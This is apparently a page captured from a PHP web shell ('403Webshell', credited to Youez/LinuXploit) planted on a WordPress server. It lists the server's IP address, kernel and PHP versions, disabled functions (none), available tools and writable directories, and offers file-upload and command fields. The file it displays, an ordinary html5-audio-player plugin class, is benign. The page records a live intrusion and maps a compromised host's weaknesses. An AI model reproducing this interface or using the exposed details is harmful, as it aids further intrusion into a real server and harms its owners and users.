403Webshell
Server IP : 167.179.152.94  /  Your IP : 216.73.216.169
Web Server : Apache/2.4.66 (Debian)
System : Linux 6d8cbb3dc321 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/html5-audio-player/inc/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/html5-audio-player/inc/Services/AdminNotice.php
<?php
namespace H5APPlayer\Services;
use H5APPlayer\Model\Pipe;

class AdminNotice{
    protected static $_instance = null;
    protected static $closed_ver = null;

    /**
     * construct function
     */
    public function register(){
        if(\is_admin()){
            // add_action('admin_init', [$this, 'checkPipe']);
        }
        add_action('init', [$this, 'init']);
    }



    public function init(){
        if(isset($_GET['h5ap-notice-import']) && $_GET['h5ap-notice-import'] == 'true'){
            update_option('h5ap-notice-import', true);
        }
    }

    public function checkPipe(){
        global $pagenow;
        if('edit.php' === $pagenow && isset($_GET['post_type']) && $_GET['post_type'] === 'audioplayer' && !Pipe::checkPipe()){
            update_option('bpllch5ap', array(
                'key' => '',
                'active' => false
            ));
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit